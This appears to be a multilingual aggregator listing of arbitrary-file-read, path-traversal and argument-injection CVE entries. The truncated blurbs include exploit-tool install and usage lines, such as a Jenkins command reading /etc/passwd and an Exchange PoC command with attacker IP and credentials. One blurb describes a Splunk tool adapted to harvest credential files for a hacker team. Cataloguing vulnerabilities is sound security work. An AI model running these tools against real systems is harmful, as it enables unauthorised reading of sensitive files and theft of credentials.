CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - 임의 파일 읽기 🔥 취약점 요약 WordPress 플러그인 File Away 버전 = 3.9.9.0.1은 인증되지 않은 임의 파일 읽기 취약점에 영향을 받습니다. 이를 통해 공격자는 플러그인의 AJAX 엔드포인트에 조작된 요청을 전송하여 wp-config.php와 같은 서버의 모든 파일을 읽을 수 있습니다. 이 취약점은 admin-ajax.php를 통해 fileaway-stats 액션을 사용할 때 부적절한 nonce 검증과 경로 제한 부재...

CVE-2024-28995

CVE-2024-28995 SolarWinds Serv-U는 호스트 머신의 민감한 파일을 읽을 수 있게 하는 디렉터리 트래버설 취약점의 영향을 받았습니다. 설치 git clone https://github.com/gotr00t0day/CVE-2024-28995.git cd CVE-2024-28995 pip3 install -r requirements.txt 사용법 단일 대상 스캔 root@kitploit: python3 CVE-2024-28995.py -t domain.com 도메인 목록 스캔 root@kitploit:...

CVE-2026-74235

GFI Exinda AI and ClearView before 7.6.5 contains a path traversal vulnerability in the system maintenance configuration download handler. The wcfhandledownload function accepts parameters prefixed with vdel and appends their values directly to the base configuration directory path without...

CVE-2026-74237

GFI Exinda AI and ClearView before 7.6.5 contains an argument injection vulnerability in the Tools Iperf Client functionality. The webtoolscmd function constructs an iperf command using the server and options parameters without sanitization, permitting injection of arbitrary iperf flags. An...

CVE-2024-36991-Tool

CVE-2024-36991-Tool 该二进制 POC 通过向存在漏洞的 Splunk 实例发送精心构造的 curl 请求，自动化利用 CVE-2024-36991。它可以检索敏感文件并将其保存到本地以供进一步分析。该脚本采用模块化设计，允许用户针对特定文件类别（例如凭据、日志、配置）进行定向获取。此工具从 https://github.com/jaytiwari05/CVE-2024-36991 分叉而来，随后经过修改以拉取并存储文件，供 Team ISP1337Hackers 使用。 漏洞摘要 CVE-2024-36991 是一个影响 Windows 系统上 Splunk...

CVE-2026-36851

CVE-2026-36851 UnPoller v2.33.0의 file:// 비밀번호 접두사를 통한 경로 탐색 / 임의 파일 읽기 취약점. 인증 과정에서 파일 내용이 디스크에서 읽혀 구성된 UniFi 컨트롤러 URL로 전송됩니다...

CVE-2023-0156

Идентификатор CVE : CVE-2023-0156 Тип уязвимости : Обход каталога Описание : Плагин All-In-One Security AIOS для WordPress уязвим к обходу каталога в версиях до 5.1.4 включительно. Это позволяет аутентифицированным злоумышленникам с правами администратора читать содержимое произвольных файлов на...

CVE-2025-30208

CVE-2025-30208 Vite 개발 서버에서 특수 원시 임포트 쿼리 문자열을 사용하면 공격자가 임의의 파일을 읽을 수 있습니다. CVE 요약 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10 이전 버전의 Vite 개발 서버는 @fs 요청에 대한 server.fs.deny 파일 접근 검사를 우회할 수 있습니다. @fs URL에 ?raw?? 또는 ?import&raw??를 추가하면 일반적으로 개발 서버 허용 목록에 의해 차단되어야 하는 파일의 내용이 반환됩니다. Vite 개발 서버를 네트워크에 명시적으로 노출...

CVE-2026-66066-POC

CVE-2026-66066 PoC - 최소 Rails/libvips 실습 환경 이 저장소는 GHSA-xr9x-r78c-5hrm에 설명된 Rails Active Storage 파일 읽기-to-RCE 체인을 Rails 8.1.3영향을 받는 최신 Rails 8.1 릴리스에서 재현합니다. Rails 8.1.3.1은 패치된 대조군입니다. 여기에 설명된 일회용 로컬 실습 환경에서만 사용하십시오. HTTP 드라이버는 루프백이 아닌 대상을 거부합니다다른 대상에 대한 승인된 테스트를 위해 Python 코드를 수정하는 것은 간단하지만. 엄격한...

CVE-2022-46364

CVE-2022-46364 — Apache CXF MTOM/XOP SSRF File Read Proof-of-Concept эксплойт для CVE-2022-46364 — SSRF-уязвимости на стороне сервера Apache CXF при обработке запросов MTOM/XOP. Сводка уязвимости CVE-2022-46364 затрагивает Apache CXF версий до 3.4.10 и 3.5.5. Когда MTOM Message Transmission...

SOC_287

SOC287 - Произвольное чтение файлов на Checkpoint Security Gateway CVE-2024-24919 Обзор Этот репозиторий содержит подробное описание эксплуатации уязвимости CVE-2024-24919, затрагивающей Check Point Security Gateways. Уязвимость позволяет произвольное чтение файлов, потенциально раскрывая...

Grafana-8.3-Directory-Traversal

CVE-2021-43798 Python 스크립트 설명: Grafana 8.3.0 디렉토리 트래버설 EDB-ID 50581이 작동하지 않으면 이것을 시도하세요! 원본 기사: https://ethicalhacking.uk/cve-2021-43798-dissecting-the-grafana-path-traversal-vulnerability/gsc.tab=0 OffSec Proving Ground Fanatastic의 한 박스에서 Grafana 8.3.0을 발견하고 exploitdb id 50581을 꽤 빨리 찾았지만 어떤 이유로...

CVE-2021-43798-Grafana

CVE-2021-43798 Grafana 임의 파일 읽기 1.설치 root@kitploit: pip3 install -r requirements.txt 2.사용법 root@kitploit: $ python3 grafana.py -h / | \ \ / / | | | \ / \ | \ / | | || | | / | | / \ | | \ \ / / | | | | | | | | | | | || | | \ / / | | / \ | | \ V / | | || / / | || | / / | | || | | | / / , | | | | /...

Jenkins-CVE-2024-23897-

使用命令:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwd把全球资源定位器Uniform Resource Locator写入2.txt即可批量...

CVE-2026-45504

CVE-2026-45504 Exchange 파일 읽기 CVE-2026-45504 Exchange 파일 읽기 연구 블로그 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

WordPress Pods plugin 3.3-3.3.9.1 - Author+ Arbitrary File Read vulnerability

Author+ Arbitrary File Read vulnerability discovered by Erwan LR WPScan in WordPress Plugin Pods versions 3.3-3.3.9.1...

CVE-2026-74237 GFI Exinda AI / ClearView < 7.6.5 Argument Injection via Tools Iperf Client

GFI Exinda AI and ClearView before 7.6.5 contains an argument injection vulnerability in the Tools Iperf Client functionality. The webtoolscmd function constructs an iperf command using the server and options parameters without sanitization, permitting injection of arbitrary iperf flags. An...

EUVD-2026-71086

GFI Exinda AI and ClearView before 7.6.5 contains an argument injection vulnerability in the Tools Iperf Client functionality. The webtoolscmd function constructs an iperf command using the server and options parameters without sanitization, permitting injection of arbitrary iperf flags. An...

CVE-2026-74237

GFI Exinda AI versions before 7.6.5 contain an argument injection vulnerability in the Tools Iperf Client functionality. The web_tools_cmd() function constructs an iperf command from user-supplied server and options parameters without sanitization, allowing injection of arbitrary iperf flags. An ...

CVE-2026-74235

GFI Exinda AI versions before 7.6.5 are affected by a path traversal vulnerability in the system maintenance configuration download handler. The wcf_handle_download() function accepts parameters prefixed with v_del_ and appends their values directly to the base configuration directory path withou...